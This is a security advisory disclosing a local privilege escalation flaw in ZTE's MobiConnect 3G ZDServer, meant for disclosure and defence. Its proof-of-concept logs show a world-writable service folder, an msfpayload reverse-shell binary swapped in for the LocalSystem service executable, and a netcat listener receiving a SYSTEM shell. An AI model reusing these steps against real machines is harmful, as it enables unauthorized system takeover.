Document Title: =============== Mobilis MobiConnect 3G ZDServer v1.0.1.2 - Privilege Escalation Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1385 Release Date: ============= 2014-12-19 Vulnerability Laboratory ID (VL-ID): ==================================== 1385 Common Vulnerability Scoring System: ==================================== 6.4 Product & Service Introduction: =============================== http://www.3G.dz http://wwwen.zte.com.cn/en Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local privilege escalation vulnerability in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software. Vulnerability Disclosure Timeline: ================================== 2014-12-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ZTE Corporation Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software. The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes. The vulnerability could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user?s code would execute with the elevated privileges of the application. The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise. Proof of Concept (PoC): ======================= The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- C:\Users\s-dz>sc qc ZDServ [SC] QueryServiceConfig russite(s) SERVICE_NAME: ZDServ TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ZDServ DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\s-dz\Desktop>net users s-dz Nom d'utilisateur s-dz Nom complet s-dz Commentaire Commentaires utilisateur Code du pays 000 (Valeur par dfaut du syst?me) Compte : actif Oui Le compte expire Jamais Mot de passe : dernier changmt. 18/12/2014 00:58:48 Le mot de passe expire Jamais Le mot de passe modifiable 18/12/2014 00:58:48 Mot de passe exig Oui L'utilisateur peut changer de mot de passe Oui Stations autorises Tout Script d'ouverture de session Profil d'utilisateur Rpertoire de base Dernier acc?s 17/12/2014 22:54:46 Heures d'acc?s autoris Tout Appartient aux groupes locaux *Utilisateurs Appartient aux groupes globaux *None La commande s'est termine correctement. C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\ProgramData\ZDSupport\ZDServ\" C:\ProgramData\ZDSupport\ZDServ Medium Mandatory Level (Default) [No-Write-Up] RW Tout le monde FILE_ALL_ACCESS RW AUTORITE NT\Syst?me FILE_ALL_ACCESS RW BUILTIN\Administrateurs FILE_ALL_ACCESS RW BUILTIN\Utilisateurs FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA SYNCHRONIZE READ_CONTROL C:\Users\s-dz\Desktop>cacls "C:\ProgramData\ZDSupport\ZDServ\" C:\ProgramData\ZDSupport\ZDServ Tout le monde:F Tout le monde:(OI)(CI)(IO)F AUTORITE NT\Syst?me:(OI)(CI)(ID)F BUILTIN\Administrateurs:(OI)(CI)(ID)F CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F BUILTIN\Utilisateurs:(OI)(CI)(ID)R BUILTIN\Utilisateurs:(CI)(ID)(acc?s spcial :) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES ############## PROOF ###################### C:\Users\s-dz\Desktop>net user s-dz Nom d'utilisateur s-dz Nom complet s-dz Commentaire Commentaires utilisateur Code du pays 000 (Valeur par dfaut du syst?me) Compte : actif Oui Le compte expire Jamais Mot de passe : dernier changmt. 18/12/2014 01:12:55 Le mot de passe expire Jamais Le mot de passe modifiable 18/12/2014 01:12:55 Mot de passe exig Oui L'utilisateur peut changer de mot de passe Oui Stations autorises Tout Script d'ouverture de session Profil d'utilisateur Rpertoire de base Dernier acc?s 18/12/2014 03:16:07 Heures d'acc?s autoris Tout Appartient aux groupes locaux *Utilisateurs Appartient aux groupes globaux *None La commande s'est termine correctement. Before we go over to action we need to check the status of the ZDserv service. In this case we can see it is set to "AUTO_START" so it will launch C:\Windows\system32>sc qc ZDserv [SC] QueryServiceConfig russite(s) SERVICE_NAME: ZDserv TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ZDServ DEPENDENCIES : SERVICE_START_NAME : LocalSystem root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > C:\Users\s-dz\Desktop\evil-ZDserv.exe C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o 1 fichier(s) copi(s). and later we will open cmd with administrator C:\Windows\system32>sc start zdserv ################################################################### C:\Users\s-dz\Desktop>nc.exe -lvp 4433 listening on [any] 4433 ... connect to [192.168.1.5] from s-dz [192.168.1.5] 4638 Microsoft Windows [version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. Tous droits rservs. C:\Windows\system32>whoami whoami autorite nt\syst?me C:\Windows\system32> Security Risk: ============== The security risk of the local privilege escalation vulnerability in the software is estimated as high. (CVSS 6.4) Credits & Authors: ================== Hadji Samir S-dz@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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